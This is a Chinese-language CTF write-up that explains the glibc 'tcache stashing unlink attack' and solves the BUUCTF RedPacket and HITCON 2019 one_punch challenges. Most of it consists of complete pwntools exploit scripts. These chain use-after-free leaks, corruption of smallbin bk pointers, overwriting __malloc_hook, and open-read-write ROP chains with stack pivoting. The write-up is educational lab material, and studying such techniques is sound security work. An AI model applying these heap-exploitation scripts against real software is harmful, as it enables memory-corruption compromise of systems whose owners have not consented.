tcache_stashing_unlink_attack tcache stashing unlink attack实现的效果和unsortedbin attack有点相似,可以向任意地址写一个较大的数
如果构造合理,还可以实现任意地址分配chunk
malloc.c : line 3635
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted" ); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0 ) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
源码里对第一个分配出来的 chunk 进行了链表完整性的检查,但是之后将 chunk 放入 tcache 里时并没有进行这个检查。bck->fd = bin 就可以实现任意地址处写进一个 main_arena 的值进去 如果我们可以控制 target_addr->fd 也就是 target_addr + 0x8 处为一个可写地址,我们也可以把他放进 tcache,达成任意地址分配 chunk 这种利用手法被叫做house of lore
效果1:任意地址写较大数 我们先看一下和unsortedbin attack类似的任意地址写较大数的效果
例题:BUUCTF-[2020 新春红包题]3 checksec
没开canary,开了沙箱
基本就是用orw去读出flag了
程序存在后门函数输入666进入,这里存在一个栈溢出,但是溢出空间只有0x10基本就是要利用栈迁移了
这里要触发栈溢出还需要满足上方的条件
(qword_4058 + 2048) > 0x7F0000000000LL && (qword_4058 + 2040) = 0 &&(qword_4058 + 2056) = 0
这个qword_4058是程序开始时建的大chunk内容都是0
所以我们现在需要去让qword_4058 + 2048 > 0x7F0000000000
free里存在UAF漏洞,我们可以借此去泄露heapbase和libcbase,并且这里申请chunk用的是calloc,可以越过tcache去smallbin中取chunk, 符合利用条件
泄露heapbase & libcbase 建7个0x410的chunk并释放填满0x410的tcachebin 再多建一个用于释放泄露libc
再向0x100大小的Tcache Bin释放6个Chunk,这样,在将我们伪造的Fake_chunk放入Tcache Bin区域时,Tcache Bin区域将会填满,程序不会继续通过我们伪造的bk指针向后继续遍历
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for i in range (7 ): add(0 ,4 ,'0x410' ) free(0 ) add(0 ,4 ,'0x410' ) for i in range (6 ): add(1 ,2 ,'0x100' ) free(1 ) show(1 ) heap_base = u64(io.recv(6 ).ljust(8 ,'\x00' )) - 0x36f0 success('heap_base =============================>' +hex (heap_base)) free(0 ) show(0 ) libc_base = u64(io.recv(6 ).ljust(8 ,'\x00' )) - 96 -0x10 -libc.sym['__malloc_hook' ] success('libc_base =============================>' +hex (libc_base))
此时bin中情况是unsortedbin中被放入一个0x410的chunk
放进2个smallbin 我们申请1次0x310后0x410的unsortedbin被切割剩0x100,再申请0x310时由于遍历unsortedbin时发现chunk大小不满足申请的,就会把其放入对应bin中也就是smallbin
1 2 add(2 ,3 ,'0x310' ) add(2 ,3 ,'0x310' )
1 2 3 4 5 6 add(3 ,4 ,'0x410' ) add(1 ,3 ,'0x310' ) free(3 ) add(4 ,3 ,'0x310' ) add(4 ,3 ,'0x310' )
控制smallbin->bk触发漏洞 我们修改smallbin2的 bk 为 heap_base+0x250+0x800 也就是qword_4058 + 2048 -0x10,前面有0x250的tcache头也要加上,布置好堆布局后去calloc触发,那么qword_4058 + 2048 -0x10 -> fd = qword_4058 + 2048就会被写入main_arena + 336的地址
1 2 3 4 5 6 7 addr = heap_base+0x250 +0x800 smallbin1_addr=heap_base+0x31e0 payload=b'a' *(0x300 )+p64(0 ) +p64(0x101 ) + p64(smallbin1_addr) + p64(addr) edit(3 ,payload) add(5 ,2 ,'0x100' )
接下来可以利用后门函数了,我们再申请一个chunk写orwchain,再申请的chunk的malloc地址为
heap6 = heap_base + 0x4630 写好ropchain再走栈迁移即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pop_rax_ret = libc_base + 0x0000000000047cf8 pop_rdi_ret = libc_base + 0x0000000000026542 pop_rsi_ret = libc_base + 0x0000000000026f9e pop_rdx_ret = libc_base + 0x000000000012bda6 syscall_ret = libc_base + 0x00000000000cf6c5 leave_ret = libc_base + 0x0000000000058373 heap6 = heap_base + 0x4630 orw_chain = './flag' +'\x00\x00' orw_chain += p64(pop_rdi_ret) + p64(heap6) orw_chain += p64(pop_rsi_ret) + p64(0 ) orw_chain += p64(pop_rdx_ret) + p64(0 ) orw_chain += p64(pop_rax_ret) + p64(2 ) + p64(syscall_ret) orw_chain += p64(pop_rdi_ret) + p64(3 ) orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["read" ]) orw_chain += p64(pop_rdi_ret) + p64(1 ) orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["write" ]) add(6 ,4 ,orw_chain) payload = b'a' *0x80 + p64(heap6) + p64(leave_ret) io.sendlineafter("Your input:" ,str (666 ).encode()) io.sendlineafter("What do you want to say?" ,payload) io.interactive()
全部exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from pwn import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) io = process('./RedPacket_SoEasyPwn1' ) elf = ELF('./RedPacket_SoEasyPwn1' ) libc = elf.libc def add (index, choice, content ): io.sendlineafter("Your input:" ,str (1 ).encode()) io.sendlineafter("Please input the red packet idx: " ,str (index).encode()) io.sendlineafter("(1.0x10 2.0xf0 3.0x300 4.0x400): " ,str (choice).encode()) io.sendafter("Please input content: " ,content) def free (index ): io.sendlineafter("Your input:" ,str (2 ).encode()) io.sendlineafter("Please input the red packet idx: " ,str (index).encode()) def edit (index, content ): io.sendlineafter("Your input:" ,str (3 ).encode()) io.sendlineafter("Please input the red packet idx: " ,str (index).encode()) io.sendafter("Please input content: " ,content) def show (index ): io.sendlineafter("Your input:" ,str (4 ).encode()) io.sendlineafter("Please input the red packet idx: " ,str (index).encode()) for i in range (7 ): add(0 ,4 ,'0x410' ) free(0 ) add(0 ,4 ,'0x410' ) for i in range (6 ): add(1 ,2 ,'0x100' ) free(1 ) show(1 ) heap_base = u64(io.recv(6 ).ljust(8 ,'\x00' )) - 0x36f0 success('heap_base =============================>' +hex (heap_base)) free(0 ) show(0 ) libc_base = u64(io.recv(6 ).ljust(8 ,'\x00' )) - 96 -0x10 -libc.sym['__malloc_hook' ] success('libc_base =============================>' +hex (libc_base)) add(2 ,3 ,'0x310' ) add(2 ,3 ,'0x310' ) add(3 ,4 ,'0x410' ) add(1 ,3 ,'0x310' ) free(3 ) add(4 ,3 ,'0x310' ) add(4 ,3 ,'0x310' ) addr = heap_base+0x250 +0x800 smallbin1_addr=heap_base+0x31e0 payload=b'a' *(0x300 )+p64(0 ) +p64(0x101 ) + p64(smallbin1_addr) + p64(addr) edit(3 ,payload) add(5 ,2 ,'0x100' ) pop_rax_ret = libc_base + 0x0000000000047cf8 pop_rdi_ret = libc_base + 0x0000000000026542 pop_rsi_ret = libc_base + 0x0000000000026f9e pop_rdx_ret = libc_base + 0x000000000012bda6 syscall_ret = libc_base + 0x00000000000cf6c5 leave_ret = libc_base + 0x0000000000058373 heap6 = heap_base + 0x4630 orw_chain = './flag' +'\x00\x00' orw_chain += p64(pop_rdi_ret) + p64(heap6) orw_chain += p64(pop_rsi_ret) + p64(0 ) orw_chain += p64(pop_rdx_ret) + p64(0 ) orw_chain += p64(pop_rax_ret) + p64(2 ) + p64(syscall_ret) orw_chain += p64(pop_rdi_ret) + p64(3 ) orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["read" ]) orw_chain += p64(pop_rdi_ret) + p64(1 ) orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["write" ]) add(6 ,4 ,orw_chain) payload = b'a' *0x80 + p64(heap6) + p64(leave_ret) io.sendlineafter("Your input:" ,str (666 ).encode()) io.sendlineafter("What do you want to say?" ,payload) io.interactive()
效果2: 任意地址分配 例题:hitcon_ctf_2019_one_punch 解法1:错位写0x7f checksec
后门函数的条件和上题类似,这里是要让qword_4030+32的位置大于6
qword_4030+32也就是heapbase + 0x30的位置就是tcache的0x220的count,我们可以像house of storm那样利用错位的方法把地址的高字节0x7f写进去进而可以使用malloc去申请tcache的bin
这里同样存在UAF那么构造方法和上面就如出一辙了,这里的edit是不限次数的,提前放进两个0x220的tcachebin改fd去攻击malloc_hook即可,但是这里的malloc_hook里写什么 我们要执行我们的orw_chain
gdb调试一下
exp写成这样io = gdb.debug(‘./hitcon_ctf_2019_one_punch’),malloc_hook里填个不合法的地址,比如0x1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) io = gdb.debug('./hitcon_ctf_2019_one_punch' ) elf = ELF('./hitcon_ctf_2019_one_punch' ) libc = elf.libc def add (index, name ): io.sendlineafter("> " ,str (1 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) io.sendafter("hero name: " ,name) def free (index ): io.sendlineafter("> " ,str (4 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) def edit (index, content ): io.sendlineafter("> " ,str (2 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) io.sendafter("hero name: " ,content) def show (index ): io.sendlineafter("> " ,str (3 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) for i in range (7 ): add(0 ,'a' *0x400 ) free(0 ) add(0 ,'a' *0x400 ) for i in range (6 ): add(1 ,'a' *0xf0 ) free(1 ) show(1 ) io.recvuntil('hero name: ' ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0X26e0 success('heap_base =========================>' +hex (heap_base)) free(0 ) show(0 ) io.recvuntil('hero name: ' ) libc_base = u64(io.recvuntil(b'\x7f' ).ljust(8 ,b'\x00' )) - 96 - 0x10 - libc.sym['__malloc_hook' ] success('libc_base =========================>' +hex (libc_base)) add(0 ,b'a' *0x300 ) add(0 ,b'a' *0x300 ) add(2 ,b'a' * 0x400 ) add(1 ,b'a' * 0x100 ) free(2 ) add(1 ,b'a' *0x300 ) add(1 ,b'a' *0x300 ) payload = b'b' *(0x300 ) + p64(0 ) + p64(0x101 ) + p64(heap_base + 0x21d0 ) + p64(heap_base+0x20 -5 ) edit(2 ,payload) add(1 , 'flag' +'\x00' *(0x100 -4 )) for i in range (2 ): add(0 ,'a' *0x217 ) free(0 ) add(2 ,'a' *0xf0 ) def backdoor (content ): io.sendlineafter('> ' ,str (50056 )) io.send(content) malloc_hook = libc.sym['__malloc_hook' ] + libc_base edit(0 ,p64(malloc_hook)) backdoor(p64(0 )) add_rsp_0x48 = 0x8cfd6 + libc_base backdoor(p64(0x1 )) pop_rax_ret = libc_base + 0x0000000000047cf8 pop_rdi_ret = libc_base + 0x0000000000026542 pop_rsi_ret = libc_base + 0x0000000000026f9e pop_rdx_ret = libc_base + 0x000000000012bda6 syscall_ret = libc_base + 0x00000000000cf6c5 leave_ret = libc_base + 0x0000000000058373 flag_addr=heap_base+0x3420 orw_chain = p64(pop_rdi_ret) + p64(flag_addr) orw_chain += p64(pop_rsi_ret) + p64(0 ) orw_chain += p64(pop_rdx_ret) + p64(0 ) orw_chain += p64(pop_rax_ret) + p64(2 ) + p64(syscall_ret) orw_chain += p64(pop_rdi_ret) + p64(3 ) orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["read" ]) orw_chain += p64(pop_rdi_ret) + p64(1 ) orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["write" ]) add(1 ,orw_chain) io.interactive()
弹出调试界面后输入c继续执行,会断在0x1
rsp+0x48的位置是我们写入的orwchain,那么用ropper找一下这个gadget就好了
exp1: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) io = process('./hitcon_ctf_2019_one_punch' ) elf = ELF('./hitcon_ctf_2019_one_punch' ) libc = elf.libc def add (index, name ): io.sendlineafter("> " ,str (1 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) io.sendafter("hero name: " ,name) def free (index ): io.sendlineafter("> " ,str (4 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) def edit (index, content ): io.sendlineafter("> " ,str (2 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) io.sendafter("hero name: " ,content) def show (index ): io.sendlineafter("> " ,str (3 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) for i in range (7 ): add(0 ,'a' *0x400 ) free(0 ) add(0 ,'a' *0x400 ) for i in range (6 ): add(1 ,'a' *0xf0 ) free(1 ) show(1 ) io.recvuntil('hero name: ' ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0X26e0 success('heap_base =========================>' +hex (heap_base)) free(0 ) show(0 ) io.recvuntil('hero name: ' ) libc_base = u64(io.recvuntil(b'\x7f' ).ljust(8 ,b'\x00' )) - 96 - 0x10 - libc.sym['__malloc_hook' ] success('libc_base =========================>' +hex (libc_base)) add(0 ,b'a' *0x300 ) add(0 ,b'a' *0x300 ) add(2 ,b'a' * 0x400 ) add(1 ,b'a' * 0x100 ) free(2 ) add(1 ,b'a' *0x300 ) add(1 ,b'a' *0x300 ) payload = b'b' *(0x300 ) + p64(0 ) + p64(0x101 ) + p64(heap_base + 0x21d0 ) + p64(heap_base+0x20 -5 ) edit(2 ,payload) add(1 , 'flag' +'\x00' *(0x100 -4 )) for i in range (2 ): add(0 ,'a' *0x217 ) free(0 ) add(2 ,'a' *0xf0 ) def backdoor (content ): io.sendlineafter('> ' ,str (50056 )) io.send(content) malloc_hook = libc.sym['__malloc_hook' ] + libc_base edit(0 ,p64(malloc_hook)) backdoor(p64(0 )) add_rsp_0x48 = 0x8cfd6 + libc_base backdoor(p64(add_rsp_0x48)) pop_rax_ret = libc_base + 0x0000000000047cf8 pop_rdi_ret = libc_base + 0x0000000000026542 pop_rsi_ret = libc_base + 0x0000000000026f9e pop_rdx_ret = libc_base + 0x000000000012bda6 syscall_ret = libc_base + 0x00000000000cf6c5 leave_ret = libc_base + 0x0000000000058373 flag_addr=heap_base+0x3420 orw_chain = p64(pop_rdi_ret) + p64(flag_addr) orw_chain += p64(pop_rsi_ret) + p64(0 ) orw_chain += p64(pop_rdx_ret) + p64(0 ) orw_chain += p64(pop_rax_ret) + p64(2 ) + p64(syscall_ret) orw_chain += p64(pop_rdi_ret) + p64(3 ) orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["read" ]) orw_chain += p64(pop_rdi_ret) + p64(1 ) orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["write" ]) add(1 ,orw_chain) io.interactive()
解法2:分配malloc_hook附近的chunk 这个解法和上述解法的不同之处在于,上述解法往tcache先填6个bin,这里是填入5个bin,再布局smallbin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 for i in range (7 ): add(0 ,'a' *0x400 ) free(0 ) add(0 ,'a' *0x400 ) for i in range (5 ): add(1 ,'a' *0x210 ) free(1 ) show(1 ) io.recvuntil('hero name: ' ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x2940 success('heap_base =========================>' +hex (heap_base)) free(0 ) show(0 ) io.recvuntil('hero name: ' ) libc_base = u64(io.recvuntil(b'\x7f' ).ljust(8 ,b'\x00' )) - 96 - 0x10 - libc.sym['__malloc_hook' ] success('libc_base =========================>' +hex (libc_base)) add(1 ,b'c' *0x1e0 ) add(1 ,b'a' *0x300 )
如果像红包题我们构造的是0x100的smallbin,那么我们按照老套路,申请一个0x400,然后再申请0x300切割,再申请个0x300就把smallbin2放进去了,但是这里不行,因为我们在做切割的时候申请的大小是0x1e0,那么我们原先的0x220的smallbin是能满足需求的,就直接被切割申请走了
我们需要去伪造一个smallbin,伪造好fd和bk
presize为0,size为0x221,作为第二个smallbin,fd指向第一个放进的smallbin fd = heap_base + 0x20b0
bk指向我们想申请的地址,malloc_hook 附近,注意这个地址的bk位置也要是个合法地址,&malloc_hook - 0x38的位置就符合预期
再构造smallbin1的bk指向smallbin2就行了,我还在其中放入了flag字符串,为后面orw做准备
1 payload = p64(0 ) + p64(0x221 ) + p64(heap_base + 0x20b0 ) + p64(libc.sym['__malloc_hook' ]+libc_base - 0x38 ) + 'flag' +'\x00' *(0x1e0 -0x20 -4 ) + p64(0 ) + p64(0x221 ) + p64(0xdeadbeef ) + p64(heap_base + 0x20b0 - 0x1e0 )
现在我们去申请一个0x210即可触发tcache_stashing_unlink_attack
接下来就和之前一样了改malloc_hook,执行orw
exp2: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) io = process('./hitcon_ctf_2019_one_punch' ) elf = ELF('./hitcon_ctf_2019_one_punch' ) libc = elf.libc def add (index, name ): io.sendlineafter("> " ,str (1 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) io.sendafter("hero name: " ,name) def free (index ): io.sendlineafter("> " ,str (4 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) def edit (index, content ): io.sendlineafter("> " ,str (2 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) io.sendafter("hero name: " ,content) def show (index ): io.sendlineafter("> " ,str (3 ).encode()) io.sendlineafter("idx: " ,str (index).encode()) for i in range (7 ): add(0 ,'a' *0x400 ) free(0 ) add(0 ,'a' *0x400 ) for i in range (5 ): add(1 ,'a' *0x210 ) free(1 ) show(1 ) io.recvuntil('hero name: ' ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x2940 success('heap_base =========================>' +hex (heap_base)) free(0 ) show(0 ) io.recvuntil('hero name: ' ) libc_base = u64(io.recvuntil(b'\x7f' ).ljust(8 ,b'\x00' )) - 96 - 0x10 - libc.sym['__malloc_hook' ] success('libc_base =========================>' +hex (libc_base)) add(1 ,b'c' *0x1e0 ) add(1 ,b'a' *0x300 ) payload = p64(0 ) + p64(0x221 ) + p64(heap_base + 0x20b0 ) + p64(libc.sym['__malloc_hook' ]+libc_base - 0x38 ) + 'flag' +'\x00' *(0x1e0 -0x20 -4 ) + p64(0 ) + p64(0x221 ) + p64(0xdeadbeef ) + p64(heap_base + 0x20b0 - 0x1e0 ) edit(0 ,payload) add(2 ,'a' *0x210 ) def backdoor (content ): io.sendlineafter('> ' ,str (50056 )) io.send(content) add_rsp_0x48 = 0x8cfd6 + libc_base backdoor(p64(0 )*5 +p64(add_rsp_0x48)) pop_rax_ret = libc_base + 0x0000000000047cf8 pop_rdi_ret = libc_base + 0x0000000000026542 pop_rsi_ret = libc_base + 0x0000000000026f9e pop_rdx_ret = libc_base + 0x000000000012bda6 syscall_ret = libc_base + 0x00000000000cf6c5 leave_ret = libc_base + 0x0000000000058373 flag_addr=heap_base+0x1ef0 orw_chain = p64(pop_rdi_ret) + p64(flag_addr) orw_chain += p64(pop_rsi_ret) + p64(0 ) orw_chain += p64(pop_rdx_ret) + p64(0 ) orw_chain += p64(pop_rax_ret) + p64(2 ) + p64(syscall_ret) orw_chain += p64(pop_rdi_ret) + p64(3 ) orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["read" ]) orw_chain += p64(pop_rdi_ret) + p64(1 ) orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000 ) orw_chain += p64(pop_rdx_ret) + p64(0x30 ) orw_chain += p64(libc_base + libc.symbols["write" ]) add(1 ,orw_chain) io.interactive()
小结: 1 2 3 1.如果要任意地址写一个较大数,则tcache中先布置6个chunk, 再布置smallbin 2.如果要任意地址申请chunk,则tcache中先布置5个chunk,再布置smallbin